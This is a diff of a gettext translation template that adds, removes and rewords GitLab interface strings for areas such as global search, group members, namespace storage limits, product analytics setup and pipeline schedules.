msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
